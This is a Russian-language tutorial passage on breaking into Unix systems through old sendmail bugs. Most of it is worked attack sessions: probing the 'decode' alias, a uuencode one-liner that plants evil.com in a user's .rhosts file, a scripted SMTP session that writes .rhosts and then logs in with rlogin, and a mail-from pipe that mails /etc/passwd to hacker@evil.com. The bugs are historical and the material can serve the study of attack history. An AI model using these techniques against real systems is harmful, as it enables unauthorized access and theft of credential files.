Атака из Internet

         

Проникновение в систему с помощью sendmail


Sendmail - это очень сложная программа, у которой всегда было много проблем с безопасностью, включая печально известную команду "debug" . С ее помощью, например, зачастую можно получить некоторую информацию об удаленной системе, иногда вплоть до номера версии, анализируя ее сообщения. Это дает возможность определить наличие в системе известных ошибок. Кроме того, можно увидеть, запущен ли псевдоним "decode" , имеющий ряд проблем:


evil % telnet victim.com 25


connecting to host victim.com (128.128.128.1.), port 25 connection open


220 victim.com Sendmail Sendmail 5.55/victim ready at Fri, 6 Nov 93 18:00 PDT


expn decode


250 <"|/usr/bin/uudecode">


quit

Наличие псевдонима decode подвергает систему риску, что злоумышленник может изменить любые файлы, доступные для записи владельцу этого псевдонима, которым, как правило, является демон. Этот фрагмент кода поместит evil.com в файл .rhosts пользователя hacker, если он доступен для записи:

evil % echo "evil.com" | uuencode /home/hacker/.rhosts | mail decode@victim.com

В части sendmail, отвечающей за пересылку, были две хорошо известные ошибки. Первая была устранена в версии 5.59 Berkeley. Для версий sendmail до 5.59 в приведенном примере, несмотря на сообщения об ошибках, "evil.com" добавляется к файлу .rhosts вместе с обычными почтовыми заголовками:


% cat evil_sendmail


telnet victim.com 25 << EOSM


rcpt to: /home/hacker/.rhosts




mail from: hacker


data


.


rcpt to: /home/hacker/.rhosts


mail from: hacker


data


evil.com


.


quit


EOSM


evil % /bin/sh evil_sendmail


Trying 128.128.128.1


Connected to victim.com


Escape character is '^]'.


Connection closed by foreign host.


evil % rlogin victim.com -l hacker


Welcome to victim.com!


victim %

Вторая ошибка, исправленная недавно, позволяла кому угодно задавать произвольные команды оболочки и/или пути для посылающей и/или принимающей стороны. Попытки сохранить детали в секрете были тщетными, и широкая дискуссия в эхо-конференциях привела к обнародованию того, как можно использовать некоторые ошибки. Как и для большинства других ошибок UNIX, почти все системы оказались уязвимы для этих атак, поскольку все они имели в основе один и тот же исходный текст. Типичная атака с помощью sendmail, направленная на получение пароля, может выглядеть так:


evil % telnet victim.com 25


Trying 128.128.128.1


Connected to victim.com


Escape character is '^]'.


220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04


mail from: "|/bin/mail hacker@evil.com < /etc/passwd"


250 "|/bin/mail hacker@evil.com < /etc/passwd"... Sender ok


rcpt to: nosuchuser


550 nosuchuser... User unknown


data


354 Enter mail, end with "." on a line by itself


.


250 Mail accepted


quit


Connection closed by foreign host.


evil %

Видно, что все атаки на sendmail идут на уровне незарегистрированного удаленного пользователя, и поэтому относятся к сценарию 1. Ну, а к sendmail мы еще вернемся.



Содержание раздела